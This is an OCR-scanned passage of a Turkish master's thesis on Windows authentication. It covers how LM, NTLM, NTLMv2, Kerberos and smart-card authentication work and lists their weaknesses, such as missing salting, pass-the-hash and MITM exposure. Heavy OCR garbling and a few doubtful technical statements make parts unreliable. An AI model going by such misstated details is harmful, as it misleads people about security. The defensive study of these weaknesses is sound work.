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Yazarlhik Beyani

Ben, Kemal ALTUNDAG, basligl, "Windows Kimlik Dogrulama Giivenlik Fonksiyonu:
Tehditler ve Onlemlerin Kontro] Listelerine Uyarlanmast’ olan tezin ve i¢ginde sunulan

bilgilerin sahsima ait oldugunu beyan ederim. Ayrica;

8 Bu calismanin biitiini veya esasi bu iiniversitede Yiiksek Lisans derecesi elde
etmek lizere ¢alistigim siire iginde gerceklestirilmigtir.

» Daha 8nce bu tezin herhangi bir kisimi baska bir derece veya yeterlik almak {izere
bu iiniversiteye veya bagka bir kuruma sunulduysa bu agik bicimde ifade edilmigtir.

m Bagkalarinin yayumlanmis calismalarina bagvurdugum durumlarda by calismalara
agik bigimde atifta, bulundum.

® Baskalarinin caligmalarndan alntiladigunda kaynagi her zaman belirttim. Tezin

bu alintilar disinda kalan kismi timiiyle benim kendi galigmamdir.
» Esash yardim aldigim biitiin kaynaklara tesekkiir ettim.

# Tezde bagkalaryla birlikte gergeklestirilen galigmalar varsa onlarin katkisini ve
kendi yaptiklarimi tam olarak agikladim.

Imza;:

Tarih: )y L. Oﬂ:-_



Windows Kimlik Dogrulama Giivenlik Fonksiyonu: Tehditler ve

Onlemlerin Kontrol Listelerine Uyarlanmasi

Kemal ALTUNDAG
Oz

Windows igletim sistemi son yillarda yaganan siber saldirilardaki sayica artigin sonucu
olarak 6nemli giivenlik 6zellikleri geligtirmis ve sunmustur. Giinliik hayatta gerceklesti-
gimiz iglemlerde olugan kigisel veriler igletim sisteminde saklanmasi nedeniyle bilgisayara
uzaktan ya da fiziksel olarak erigsim saglayan kotii niyetli kigilerden hassas verilerin ko-
runmasi i¢in en Onemli giivenlik fonksiyonu olan kimlik dogrulamanin igletim sistemi
tarafindan hatasiz ifa etmesi beklenmelidir. Diger taraftan Windows’un ilk siirtimlerin-
den itibaren kimlik dogrulama giivenlik fonksiyonunun atlatilmasi icin yontemler sal-
dirganlar tarafindan bulunmug ve bu zafiyetlerin bir kisminin igletim sistemi tasarimi
ya da yazilim kaynakli bir kisminin da politikalarin uygulanmamas: nedeniyle ortaya
ciktigr goriilmiigtiir. Bu tezde, kimlik dogrulama giivenlik fonksiyonu iizerinde olugan
tehditlere ek olarak bu tehditlerin nasil olugtugu 6zellikle Windows igletim sistemlerinin
kimlik dogrulama mekanizma Ogelerine deginilerek agiklanmigtir. Bu sekilde bir yaklagi-
min hem teorik olarak bu konular1 anlamak isteyen hem de 6nlemleri uygulamak isteyen
kigilere kaynak olugturacagi degerlendirilmektedir. Literatiir taramasi yapilarak tespit
edilen tehditlerin ve ilintili saldirilarin yapabilirligi test edilmis ve caligabilirlik durumu
gosterilmigtir. Literatiirde bulunmayan ek bir ¢aligma olarak da tehditlerin gegersiz hale
getirilmesi i¢in uygulanabilecek &nlemlerin tehditler ile eslestirilmesi yapilmigtir. Lite-
ratiir taramasinda ortaya cikan diger bir eksiklikte saldir1 ve tehditlerin niians farklar
olsa bile farkh bagliklarla ve yazan kigi tarafindan secilmig fakat kigiye gore degisebilen
kategorilere atanmig olmasi sonucu tehditlerin genel gecer bir standarda goére siniflan-
dirnnlmamig olmasi ve dolayisiyla anlagilmasinin zorlagmasidir. Bu soruna ¢oziim olarak
tezde verilen tehdit ve saldirilar icin CAPEC yontemi kullanilarak kabul gérmiig bir si-
niflandirilma gerceklestirilmigtir. Bu tiir bir sinifflandirmanin giivenlik testlerinde tespit
edilen bulgularin smiflandirilmasi baglaminda faydali olabilecegi diigiintilmektedir. Buna
ek olarak 6nlemlerin CIS 6nlem siniflandirmalar: kullanilarak kategorizasyonu yapilmig-
tir. Bu amacla CIS kapsaminda bulunan Windows 7 ve Windows 8 6nlemleri dahilindeki

biitiin maddeler tespit edilmis ve tezde bulunan onlemler ile eglestirilmigtir.

Anahtar Sozciikler: Bilgi Giivenligi Miihendisligi, Sizma Testleri, Pentest, Windows
Kimlik Dogrulama, Kimlik Dogrulama Mekanizmalari, Fiziksel Giivenlik, Parola Elde
Etme, Hash Elde Etme, Windows Sistemlere Sizma, Hacking, CAPEC, CIS Security.
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Bolum 1

Temel Konular

1.1 Kimlik Dogrulama Algoritmalar: ve Zayif Yonleri Acgi-

sindan Degerlendirme

Windows isletim sistemlerinin kullanmig oldugu temel kimlik dogrulama algoritmalar:
LM, NTLM, Kerberos ve Akilli kartlardir. Donanimlar aras: iletigim gerceklegtirilirken
verinin dogru hedefe gonderilmesi veya dogru kaynaktan alinmas: i¢in bu algoritmalar
devreye girerek giivenli kimlik dogrulama saglarlar. Bu dogrultuda algoritmalarin iglev-
lerinin neler oldugu, iglevlerini yerine getirirken meydana gelen zayif yonlerinin degerlen-

dirmesi gibi konular ele alinacaktir.

1.1.1 Lan Manager (LM)

Lan Manager NTLM’in ilk versiyonudur. Bu yiizden NTLM ile ¢ok benzer yonleri vardir.
Windows 3.11, 95, 98, Me ve NT siiriimleri dahil olmak {izere ¢cogu Microsoft {iriinlerinde
kimlik dogrulama i¢in kullanilir. Suan ise windowsun eski sistemler ile iletisim kuru-
labilmesi icin desteklenmektedir. Bu nedenle eski siirlimlerde olan bazi 6zellikler, yeni
versiyon Windowslarda kendi arasinda ve iglemlerinde kullanmasa bile sadece eski versi-
yon ile iletigsim kurabilmek icin eklenip kullanilmaktadir. Dolayisiyla bu isletim sistemleri
arasinda sorunsuz olarak dosya ve yazici paylagimina imkan saglanmig olmaktadir. An-
cak Windows NT ailesindeki (NT, 2000, 2003) igletim sistemleri kendi aralarinda kimlik

dogrulamasi yaparken LM 0&zeti kullanmazlar. LM, ag trafigini dinleyerek parola ¢alan
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saldirganlar dahil o giiniin giivenlik sorunlar: ile miicadele etmek icin tasarlanmigtir.

LM kimlik dogrulamada kullanicinin parola &zetini, baglanilmak istenen her sunucuda
bulundurma zorunlulugu vardir. Ciinkii istemcilerin e-posta erigimi ya da dosya paylagimi
gibi hizmetlere erigmeleri gerekmektedir. Sifre 6zetini sunucuda depoladig: igin giivenlik
acikliklarina sebep oldugu kadar verilerin bir merkezde depolanmasini da engellemekte-
dir. Bu durumun sonucunda; NTLM Etki Alanm1 Denetleyicisine ihtiya¢ duyulmustur. Etki
alanlarimin olugturularak ve merkezi bir yapimin olugturulmas ile bu giivenlik riskini bir
nebze de olsa etkisini azaltmigtir. Bu etki alani denetleyicileri tiim kullanici parola 6zet-
lerini bir etki alaminda tutar (sunucu erigimi sagladiktan sonra bu 6zetleri gegici olarak

kendi tizerinde saklar) ve sadece sunuculari bu bilgilere erigilebilmesini saglamaktadir|1].

1.1.1.1 LM Ozetlemesinde Izlenen Adimlar

Ozetleme sekil 1.1 fizerinde goriildiigii gibi asagidaki adimlarda gerceklesir.
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PassWord123

!

PASSWORD123

!

PASSWORD123000

!

PASSWOR . & . D123000

|

ES2CACE7419A5A22
2

664345140A852F61

|

E52CACE7419A5A22664345140A852F61

SEKIL 1.1: LM Ozetleme (Alintidir)

1. Sifrede harf var ise biiyiik harfe ¢evrilir.

2. Sifre 14 karakter ise ilk 14 karakteri alinir.

3. Sifre 14 karakterden daha kisa ise eksik karakterler yerine bos (null) karakter ekle-

nir.

4. Sifre 7 karakterlik 2 parcaya boliiniir.

5. Her parca sabit bir katar1 (string) DES sifreleme algoritmasiyla sifrelemek igin

anahtar olarak kullanilir ve iki adet 6zet degeri elde eder.

6. Olusturulan 8 bayt 6zet degeri ug uca eklenir ve 16 bayt uzunlugunda 6zet degeri

elde edilir.



Boliim 1 Temel Konular 4

1.1.1.2 LM Zayif Yonleri

LM c¢ok eski bir algoritma oldugundan bir¢ok zayif yonii tespit edilmigtir. Bu zayif yon-

lerini agagida ki gibi siralanmigtar.

e LM &zeti alimirken biiyiik harfe ¢evrildiginden biiyiik-kii¢iik harf duyarliligr bulun-

mamaktadir.

e Parolanin ilk 14 karakteri alimir. Daha kisa ise 14 karaktere kadar bilinen bir ka-

rakterle (‘0’) tamamlanir.

e Parolasi olmayan veya 14 karakterden daha uzun parolasi olan bir kullanicimin LM
ozeti sabit ve bilinen bir sonu¢ (AAD3B435B51404EE-AAD3B435B51404EE) verir.
Bu sebeple bog parola ile sisteme girig yapilma tegebbiisiinde bulunabilir. Bagarisiz

olunmasi durumunda ise, parolanin 14 karakterden daha uzun oldugu anlagilir.

e DES sifrelemede sabit bir katar kullanilmaktadir. LM 6zeti, DES sifreleme metodu

kullandigindan, aslinda bir ézetleme yontemi bile sayilmayabilir.
e Tuzlama kullanilmaz. Sifreleri ayni olan kullanicilarin LM &zetleri de ayni olur.

e 8 karakterden daha kisa olan parolalarin LM 6zetinin ikinci pargasi

AAD3B435B51404EE olur.

e Ilk veya son 7 karakteri aym olan kullamicilarin parolalarinim LM 6zet degerlerinin
de ilk veya son pargalari ayni olur. Parolasi "Bb123456" olan bir kullanic1 ile pa-
rolasit "bB12345" olan bagka bir kullanicinin parolalarina ait LM &zetlerinin ilk 16

baytlik parcalar: aynidir.
e 5 karakter ve daha biiylik uzunluktaki sifrelerde LM 6zeti tutulmaz.

e Parolalarin 6zet degerleri ag iizerinden génderilmektedir. Bu sebeple MITM saldi-

rilarina agiktir.

e LM kimlik dogrulama i¢in kullanilan LM 6zetleme metodu gokkugag: saldirilariyla

birkag saniyede kaba kuvvet saldirilariyla (brute force) ise birkag saatte ¢oziilebilir

[1].
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1.1.2 NT Lan Manager (NTLM)

LAN MAN’a gore daha giivenlidir. Ag ortamindaki Windows NT 4.0 veya daha eski versi-
yonlarla iletigim kurulmasinda kullanilan kimlik dogrulama ve Windows Server 2003 ailesi
i¢in varsayilan iletigim protokoliidiir. NTLM hem depolama (SAM dosyasinda) hem de
iletigim protokolii (iki makine arasinda) olarak kullamlir. LM kimlik dogrulamada paro-
lanin 6zeti baglamilmak istenen her sunucuda bulunmak zorundaydi. Etki alanlarinin ve
merkezi bir yapinin olugturulmas: bu giivenlik riskini bir nebze de olsa etkisini azaltmig-
tir. Etki alam kavrami ile NTLM kullamlmaya baglanmistir. Istemcilerin parolalarmin
ozeti sadece DC’lerde saklanmaya baglamigtir. Dolayisi ile bu yontem sonucu kullanicinin

parolasi ag ortaminda dolagsmamig olmaktadir [2] [3].

1.1.2.1 NTLM ile Kimlik Dogrulama ve Ozetlemesinde Izlenen Adimlar

256 karaktere kadar parola uzunlugu destegi verir. MD4 6zetleme algoritmas: kullanir.
LM gibi kii¢iik harfleri biiyiik harflere cevirmez ve parolay: ikiye ayirmaz. Ancak ortak
ozellik olarak NTLM, LM gibi tuzlama kullanmaz. NTLM 0&zetlemesi sekil 1.2 iizerinde
goriildiigii gibidir.

User Supplies Password

94354877D5B87105D7FECOF3BF500B33

Hashed Passord Stored

SEKIL 1.2: NTLM Ozetleme (Alintidir)
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1. Istemci sisteme girmek ister, bunun icin kullanici adim acik halde gonderir.

2. Sunucu istemciye kimligini ispatlamasi i¢in "challenge" veya diger bir adi "nonce

(number used once)" olan 16 baytlik rastgele bir say1 gonderir

3. Istemci bu sayiy1 (challenge) alarak parolasinin ézeti ile sifreler ve sunucuya cevap

verir.

4. Eger bu iglem bir etki alaninda gerceklegiyorsa sunucu Etki Alan1 Denetleyicisine
(DC) istemciden gelen bu sifreli sayiy1 (istemci parola 6zetine challenge eklemistir)
ve challenge acgik halini gonderir. DC’den bu istemcinin kimligini dogrulamasini
talep eder. Eger ortada DC yok ise sunucu bu adimi ve bir sonraki adimi kendi

iizerinde gergeklegtirir.

5. DC istemcinin parola 6zetine sahip oldugundan, sunucudan acik halde gelen chal-

lenge sayisi ile istemci parola 6zetini gifreler ve bu gifreli sayiy1 sunucuya gonderir.
6. Sunucu 3. adimda aldig: sifreli say1 ile DC’den gelen bu sayiy1 kargilagtirir ve sonucu

istemciye gonderir.

Bu iglem yeni Windows versiyonlarinda kerberos ile gerceklegtirilmektedir.

3. Adimda gerceklegsen cevaplama iglemi gu gekilde olmaktadir:
e Kullanici parolasimin MD4 ile 6zetlenmis hali istemci 6zel anahtar: olur. Bu 6zet
degeri NTLM 6zetidir ve 16 bayttir.

e Bu 16 baythik deger 7’ser gruplu olmak {izere 3 parcaya ayrilir. Sekil 1.3 iizerinde
goriildiigii gibidir.

|a1]82|ca|pa]a2]B2]B3]Ba|c1| c2| 3| ca| p1] D2 D3| D4

SEKIL 1.3: 7’ser Gruplu 3 Parcaya Ayirma

e Eksik olan son parca 7 bayt olabilmesi icin 5 adet "0" eklenir. Sekil 1.4 {izerinde

goriildiigii gibidir.

|a1]B82]ca| pa] a2] 2] B3]Ba|c1]c2| 3| ca|p1][D2|D3 DA 0 0 0 0 0 |

SEKIL 1.4: 7 Bayt Tamamlama
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e Bu 3 deger DES anahtar: olarak kullanilir ve challenge adi verilen rastgele sayinin

Ozetini alir.

Sekil 1.5 {izerinde goriildiigi gibidir.

1. Deger 2. Deger 3. Deger
a1]B2]c3|pa]a2|B2]B3|B4|c1|c2]c3]ca]p1|p2|D3 DA 0 0 0 0 0
Des Des Des
11[22]33]44] 55|77/ 88 11|22]33]44]55]77] 88|11 22 33 44 55 77 g8

SEKIL 1.5: 3 Grup Des’in Anahtar Olarak Kullamilmas:

e Olugan 8’er baytlik degerler birlestirilerek 24 bayt deger elde edilir. Bu deger su-

nucuya cevap degeridir. Jekil 1.6 {izerinde goriildiigii gibidir.

8 BAYT 2 BAYT 2 BAYT

AC‘DE|]A‘FE‘B?|32|BD|A4 + | AB |?1|1F|EE|6?|B2|CD|D4 +|mR |E1|CF|EE‘BB|12|DD|44

SEKIL 1.6: 24 Bayt Degerin Elde Edilmesi

Sonug¢ 8+-8+8= 24baytlik deger.

1.1.2.2 Diger Ozellikleri

e LM gibi, NTLM ozeti de SAM dosyasinda saklanir.

e Onceden hesaplanmis say1 (challage) sayesinde LM’e gore daha giivenilirdir. Ayni

say1 kullanilmadikga tekrar saldirilarina karg: biraz daha direng saglar.
e Karakterler biiyiik harfe ¢evrilmedigi icin LM 6zetine gore daha fazla olasilik vardir.
e LM’deki gibi, parolanin kendisi parcalara ayrilmaz ancak &zeti ayrilir.
e LM ile ¢aligan sistemlerle uyumlu caligir. Gegmige uyumludur.

e NTLM kimlik dogrulama biitiinliik ve gizlilik saglar. Biitiinliik i¢cin CRC (Cyclic
redundancy check) ve 6zetleme algoritmalar1 (RFC1321) kullanir. Sifreleme igin

RC4 kullanir.

e LM ozetleme teknigine gore daha giivenilir olan NTLM o6zeti, gokkugag: (rainbow)
ve kaba kuvvet (brute force) saldirilarina kargit LM 6zetleme teknigine gore biraz

daha direnclidir.

o Istemcide istemci parolasinin 6zeti alinarak SAM dosyasinda saklanir.
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e Istemci parolasi ag iizerinden yollanmaz. Parolanm G6zetinin bir kismi, sifreli bir

kanal {izerinden yollanir.

e Sunucu sadece kimlik dogrulama sonucunu bilir. Kullanicinin 6zel anahtarini bil-

mez.
e Challenge/Response tabanlh bir protokoldiir.

e SSO’u desktekler.

1.1.2.3 NTLM Zayif Yonleri

NTLM algoritmasinin zayif yonleri agagida ki gibi siralanmigtir.

e NTLM, sifreleme i¢in AES, SHA-256 gibi modern teknikler kullanilmaz.
e Parolanin 6zeti alinirken kullanilan MD4 zayif bir algoritmadir.

e Say1y1 sifrelemekte kullamlan DES zayif bir algoritmadir. Kaba kuvvet (brute force)
saldirisi ile parola elde edilebilir. Bu amacla Cain&Abel gibi araclar kullanilabilir.

e SAM dosyas:t bir gekilde elde edilebilir ve parolanin ézeti de saldirganlarin eline

gegcebilir.
e Ozel anahtar parola kadar degerlidir. Bu sebeple, PTH saldirilarina kars: zayiftir.
e Microsoft olmayan igletim sistemlerinde iletisimde problemler cikar.
e Tuzlama kullanilmaz.

e MITM saldirlarina kargi aciktir. Aktif saldirganlar istemciye bilinen sayilar yol-
layarak cevap bekleyebilir. Boylece sozliik saldirilariyla kullanicinin parolas: elde

edilebilir.

1.1.3 NT Lan Manager V2 (NTLMv2)

NTLMv2 protokolii NTLMvl iizerinde sikilagtirma uygulayarak daha giivenli gekilde

kimlik dogrulama igleminin gerceklestirilmesi icin geligtirilmigtir.
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1.1.3.1 NTLMv2 ile Kimlik Dogrulama

NTLMv2 Kimlik Dogrulama Algoritmasi

SC = 8-bayt sunucunun rastgele sayisi (challenge)

CC = 8-bayt istemcinin rastgele sayisi (challenge)

CC* = (X, time, CC2, Domain Ad)

v2-Hash = HMAC-MD5 (NTLM-Ozet, Kullanict Adi, Domain Ad)
LMv2 = HMAC-MD5 (v2-Ozet, SC, CC)

NTLMv2 = HMAC-MD5 (v2-Ozet, SC, CC*)

Cevap = LMv2 | CC | NTLMv2 | CC* [4],

Temel olarak sunucunun génderdigi 8 baytlik challenge degerine karsin 2 tane 16 baytlik
cevap (response) dondiiriir. Cevaplardan biri HMAC-MD) ile 6zetlenmig Server Chal-
lenge (SC), rastgele olarak tiretilen Client Challenge (CC), ve kullanici parola bilgisinin
yine HMAC-MD)5 ile 6zetlenmig halini igerir. Kisa olan cevap (response) iiretilen 16 bayt-
lik degere 8 baythk SC (Server challenge) degerini de ekleyerek 24 baythik bir cevap elde
eder ve bunu sunucuya gonderir. Bu cevap degerine LMv2 de denilir. Diger cevap ise sabit
uzunlukta olmayan bir CC (Client Challenge) kullanilir. Zaman damgasi (Timestamp), 8
baytlik rastgele deger, etki alam1 adi ve bazi1 standart bigliler kullanir. Bu cevap mutlaka
bu sabit uzunlukta olmayan CC degerinin bir kopyasini barindirmalidir. Bundan dolay:
response uzunlugu degiskendir. Bu cevap degerine NTv2 ad1 verilir [3] [4].

Not: Temelde SAM igerisinde olan NT &zeti, kullanici adi ve etki alam adi iglemden

gecirerek gonderir.

1.1.3.2 NTLMv2’nin NTLM’den Giiclii Oldugu Yonleri

e NTLM protokolii istemciye ait say1 (Client Challenge) kullanmazken NLTMv2 pro-

tokoliiniin istemciye ait say1 kullanmasidir.

e Tekrarlama saldirilarindan korunmay1 giiclendirmek i¢in zaman bilgisinin (time

stamp) iglenmesi ve gonderilmesidir.
e HMAC-MD?5 algoritmasi ile dzetleme iglemlerinin yapilmasidir.

e NTLM protokoliinde LM &zeti ve NT 6zeti kullanilirken, NTLMv2 protokoliinde

yalnizca NT 6zeti kullanilmasidir.
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1.1.4 Kerberos

Kerberos ‘Athena Projes’inin bir parcasi olarak kullanilmig daha sonra TCP/IP yapisi-
nin giivenli bulunmamasi sonucu MIT (Massachusetts Institute of Technology) tarafindan
geligtirilerek kullanilmaya baglanmigtir. Kullanict Bilgileri LM ve NTLM ile bir makina-
dan digerine ag tizerinden gonderiliyordu. Bu durum giivenlik sorunlarina yol agtigindan
Microsoft tarafindan tercih edilmistir. Once Windows 2000 Server’da kullanilmis, son-
rasi i¢in default kimlik dogrulama yontemi olarak kabul edilmigtir. Olduk¢a giivenli bir
protokoldiir [5]. Tki siiriimii mevcuttur. Bu siiriimler 4 ve 5’tir. Daha giivenli olmasindan

dolay1 genelde 5 tercih edilmektedir. Kerberos ii¢ ayakta tamamlanir.

1. Kimlik dogrulama veya servise ulasmasi gereken ISTEMCI

2. Istemcinin istedigi servise ulagmasin saglayan SUNUCU

3. Hem sunucuya hemde istemciye hakemlik yapan KDC (Key Distribution Center).
Yapilan iglem 6zetle su sekildedir. Istemci sunucuya ulagmak i¢in KDC’den 6n bilet alir,
aldigr bu bileti sunucuya goénderir. Sunucu bu bileti kontrol ettikten sonra istemcinin

kimligini dogrular. Bu iglem agagidaki gibi "Kerberos ile Kimlik Dogrulama" baghg

altinda detayl incelenmigtir.

1.1.4.1 Kerberos ile Kimlik Dogrulama

Sekilde de goriildiigii lizere kerberos 6 adimda kimlik dogrular. Sekil 1.7 {izerinde goriil-
diigii gibidir.



Bolim 1 Temel Konular 11

=\))
. as_req: ¢, tgs, timees, N

.as_Trep: {K c,tgs,tgs, timEexp, n, ...}Kc, {Tc,tgs}ths
ctgs req: {ts, .. 3K ctes {Totes}Kies, v, tiMEexy, N

. tgs_rep: {K e, V, timeexp, n, }K ctgs, {TC,V}KV
Lap_req: {tS,Ck, K subsession, }K ow {TC,V}KV

. ap_rep: {ts}K <~ (optional)

O Lh B D

SEKIL 1.7: Kerberos Kimlik Dogrulama Protokolii (Alintidir)

1. Adim (as_req): Istemci KDC’ ye (Key Distribution Center) kendisni tanitmak amaci
ile 6n bilet talebinde bulunur. Istemci authenticator (zaman damgali) paketini kendi
parolasinin 6zeti ile sifreler ve kullanici adi, bagh oldugu domain adin1 Authentication
Server’e (yetkilendirme sunucusuna) gonderir. Boylece As Req iglemi gergeklegmis olur.
2. Adim (as_rep): KDC, istemci kimligini dogruladiktan sonra bir 6n bilet ve istemci ile
iletisimde kullanacag bir oturum anahtar1 (KDC _SK) gonderir. Bu adim As_rep adi-
midir. Soyle gergeklegir; KDC'nin TGS (Ticket Granting Server) bilet saglama servisi,
oturum anahtar1 ve 6n biletten olugan paketi kendi sifre 6zeti ile sifreler. Yine bu oturum
sifresini iceren ikinci bir paketi istemcinin gifre 6zeti ile sifreler ve bu paketleri istemciye

gonderir.

3. Adim (tgs_req): Istemci baglanacagi sunucuya kendisini ispatlamak icin KDC ile
iletigimde oldugunu ve KDC’nin bunu onaylamasini ister. Bu Adim TGS _REQ adimidir.
Su sekilde gergeklesir; istemci, authenticator (zaman damgali) paketi, KDC’den aldig:
oturum sgifresi ile gifreler. Bu paketi, baglanmak istedigi sunucu adini, sunucunun bagh
oldugu domain adini, bir énceki adimda KDC’den aldig1 6n bileti ve oturum gifresinin
KDC ozel sifresi ile gifrelenmis paketi TGS’ ye génderir.

4. Adim (tgs_rep): KDC onayladig: istemciye, istemcinin sunucudaki izinleri i¢in gerekli
asil bileti ve sunucu ile iletigimde kullanacag: bir oturum sifresini (SRV__SK) génderir. Bu
adim TGS REP adimidir. §6yle gergeklegir; KDC TGS, asil bileti ve oturum gifresinden

olugan bu paketi sunucunun parola oOzeti ile gifreler. Yine ayni gekilde oturum sifresi
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ve istemci ile ortak kullandigi oturum anahtar1 (KDC_SK) ile sifreler ve bu paketleri
istemciye gonderir.

5. Adim (ap_req): Istemci, KDC onayi ile sunucuya kimligini dogrulatir.

Bu adim AP_REQ adimidir. Soyle gerceklesir; istemci, authenticator (zaman damgali)
paketi, KDC’den aldig: ikinci oturum sifresi (SRV _SK) ile sifreler. Bu paketi, bir 6nceki
adimda KDC’den aldigi asil bilet ve ikinci oturum sifresinin sunucunun ozel sgifresi ile
birlikte paketi sunucuya gonderir.

6. Adim (ap_rep): Sunucu kimligini dogruladigi istemciye geri bildirimde bulunur ve

iletigim tamamlanmig olur [5] .

1.1.4.2 Kerberos Giiclii Yoénleri

e Bilet varsayilan olarak normalde 10 giin gibi uzun bir siire saklanilir. Bu siirenin
agiminda bilet gegerliligini yitirir. Ele gegirilse bile herhangi iglem yapilamaz. Sifre
degisikliklerinde yeni bir 6zel anahtar olugacagindan dolay: eski bilet gegerliligini

kaybeder. Bu durumda eski bilet agilmayacagindan bilet degistirilir.

e Istemci ve sunucunun 6zel anahtarlar: hi¢cbir zaman ag tizerinden génderilmez. Ken-

dilerinde sakl oldugu gibi KDC’de mevcuttur.

e Oturum anahtarlar: kisa émiirlii ve kullanildiktan sonra ige yaramayacagindan ati-
lirlar. Bu anahtarlart KDC iiretmekte olup oturum kapatildiktan sonra bu anah-

tarlar bellekten silinirler.

e Kullanic sisteme ilk giris yapar ve onay verilirse 6n bileti(TGT) alr. Ilk giristen
bagarili gectikten sonra on bileti ile yetkileri cercevesinde kaynaklara erigir. Bu

durumda ise sistemde Single-Sign-On (SSO) saglanmig olur.

e Kimlik dogrulama iglemleri KDC’de gerceklegtiginden, istemcilere hizmet veren
sunucularda bu bilgiler bulunmamaktadir. KDC, istemci veya sunucuyu isterse

devre dig1 birakabilir.

e Gonderilen ve alinan paketlerde zaman damgalari mevcuttur. Bu yiizden tekrar-

lama saldirilarina karst giicliidiir.

e Uygun goriiliirse sunucuya kimlik dogrulamas: da yaptirilabilir. Yani istemci ken-
dini sunucuya ispatladigi gibi sunucuda aymni iglemi istemciye karg: yapilmas iste-

nebilir [5].
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1.1.4.3 Kerberos Zayif Yonleri

Kerberos kimlik dogrulamanin zayif yonleri agagida ki gibi siralanmigtir.

e Kimlik dogrulama yaplirken herhangi bir problem sonucu NTLMv2 de kullanmak-

tadir.

e Kerberos icin zaman damgas: kullanilmaktadir. Normalde en fazla 5 dakika gibi bir

sapma olabilmektedir.
o Istemci 6zel anahtarini istemci bilgisayarinda saklamaktadir.

e Bilgisayarin 6n belleginde oturum anahtari elde edilebilmektedir. Oturum anahta-

rinin 6n bellekte veya anahtar tablosunda saklanmasi bir zafiyettir.

e Agdan gonderilen biletlerin gifresi elde edilip edilmedigi anlagilmamaktadir. Bu

durum zaman kisitindan dolayr goz ardi edilmektedir [5].

1.1.5 Akilh Kart

"Sahip olunan bir gey" (something have) kimlik dogrulama kapsamina giren akilli kartlar,
kimlik dogrulamanin yaninda ayni zamanda yetkilendirme ve veri gifrelemede kullanilan
giivenlik araclarnidir. Akilh kartlarda iki tiir sertifika bulunur, bu sertifikalar; 6zel (pri-
vate) ve acik (public) anahtar olmak {izere istemciye aittir. Imzalama isleminde ozel
anahtar kullamilir. Ozel anahtar oldugundan dzellikle sayisal imzlama da inkar edeme-
merzligi saglar. Dolayis1 ile bu anahtarin giivende tutulup bir bagkasinin eline gegmemesi
i¢in korunmalidir. Bu yiizden 6zel giivenlik énlemleri alinmaktadir. Ayrica akilli kart-
lar iizerine yapilan Sizma Testi uygulamalarinda PIN ve 6zel anahtara yetkisiz erigim

denemeleri yapilmaktadir.

Istemci sertifikas1 belli bir otorite tarafindan imzlanip bu ve bu giivenlikteki sertifikalar
etki alani denetleyici iizerinde loglar1 tutulmaktadir. Uygunlugunun kabul edilmesi i¢in
sertifikanin otoritelerinden birisi tarafindan imzalanmasi1 (Authority Issuer) gerekmekte-
dir. Istemci sertifikasinin icerisinde genel olarak bulunan bilgiler; etki alani bilgisi, istem-
cinin kullanici adi, sertifikanin gegerlilik tarihi, genel anahtar: ve sifreleme algoritmasidir.
Ornegin bir bilgi, istemcinin acik anahtari ile sifrelenirse bu bilgi ancak istemcinin 6zel

anahtari ile agilabilir. Bagka bir anahtar ile agilmasi miimkiin goriilmemektedir [5].
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1.1.5.1 Akilli Kart Kimlik Dogrulama Adimlari

Akilh kart ile kimlik dogrulama 6 adimda gerceklesir. Sekil 1.8 {izerinde goriildiigii gibidir.

Active
Directory

KDC

SEKIL 1.8: Akillh Kart Kimlik Dogrulama

Sekilde ki kimlik dogrulama adim adim agagidaki gibi 6zetlenebilir;

1. Istemci ilk olarak akilli kart ile oturum acmak icin pin kodunu girer. Eger PIN
dogru ise bu durumda akill karttaki sertifika okunabilir hale gelir ve igletim sis-
temi sertifikanin gegerli olup olmadigina bakar. Bu iglemler gerceklegtikten sonra
akilli kart sorun gérmediginde kimlik dogrulamay1 yapar. Ancak bu durumda igle-
tim sistemi erigim haklarim gerceklegtirmez. Cilinkii erigim haklarinin gergeklegmesi
icin DC’nin istemciyi dogrulamasi gerekmektedir. DC dogrulama iglemini gercek-

lestirdikten sonra jeton elde edilerek erigim haklar: yetkiler cercevesinde gercgeklesir.

2. Akill kart {izerinden pin dogrulamasi yapilan domainde ki bir istemci DC’ye gon-
dermek {izere kullanici adini, sertifikasinin kopyasini ve zaman damgal paket ha-

zirlayip akilli kartta bulunan 6zel anahtar ile gifreleyip KDC’ye génderir.

3. Etki alanindaki istemciden gelen bu paketi KDC alir ve acik anahtarinin gegerlili-

gini kontrol eder.

4. KDC’nin kontrolii sonucunda sertifikanin gecerliligi devam ediyorsa, KDC’nin ayni
zamanda iizerinde tuttugu kullanici bilgilerine gore Authentication Server (AS) ta-
rafindan bir bilet (TGT) olusturulur. KDC istemcinin genel anahtari ile gifrelenmisg
oturum anahtarini ve oturum anahtari ile gifrelenmis TGT’yi istemciye gonderir.

Bu iglemden sonra yine KDC oturum anahtarini ve TGT’yi kendi 6zel anahtarim
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kullanip imzalayarak yeni bir paket olugturur. Yapilan iglemlere bakilarak istemci
ile KDC arasinda ki kimlik dogrulamada kullanilan oturum anahtari Kerberos’
ta istemcinin parolasinin &zeti ile gifrelenirken akilh kartlarda ise istemcinin agik
anahtari ile gifrelenmektedir. Bu durum sonucunda akilli karti olan bir kullanicinin

oturum anahtar: elde edilebilir.

5. KDC’den istemciye gonderilen paketi istemci alir ve oturum ac¢mak istedigi bilgi-

sayara Kerberos protokoliinii kullanarak gonderir.

6. Istemci KDC’ye ait acik anahtari ile gelen bu paketi dogrular. Once paketi desifre
ederek oturum anahatarini sonrada TGT’yi elde eder. Dolayisi ile istemci otu-

rum agtig1 bilgisayarin etki alaminda kullanacagi oturum anahatar: ve 6n bilet olan

TGT’yi elde etmis olur [5].

1.1.5.2 Akillh Kart Zayif Yonleri

Akilli kart ile kimlik dogrulamanin zayif yonleri agagida ki gibi siralanmigtr.

e Akilli kartin sahip oldugu 6zel anahtar herhangi bir sebeple kaybolmasi yada ele
gecirilmesi akilh kartin kimlik dogrulamasini yanhs gergeklestirir. Ancak bu duruma

kargi akhillh kartlarin 6zel giivenlik dnlemleri mevcuttur.

e Akill kartlar donanim 6zellikli oldugundan belirli maliyetlere sahiptirler. Bu ma-
liyetin siirdiiriilebilir bir tasarunla devam etmesi olanaksizdir. Ciinkii akilli kart
algoritmasinda yapilacak bir degisikligin biitiin donanima yansima ihtimali mev-

cuttur.

e Akill kartlarda kimlik dogrulama adimlar anlatilirken TGT bilgisayar {izerinde
saklanildigi belirtilmigti. Bu durum Kerberos acikliklarimin akilli kartlar icin de

gegerli oldugunu akla getirmektedir [5].

1.2 Onemli Windows Giivenlik Bilesenleri ve Islemcileri

Windows igletim sistemi sunucularda etki alani ile kullanicilar bir araya getirerek SID

degerlerleri ile birbirinden ayirir. SAT ise kullanici veya gruplarin yetkilerini barmdirir.



Bolim 1 Temel Konular 16

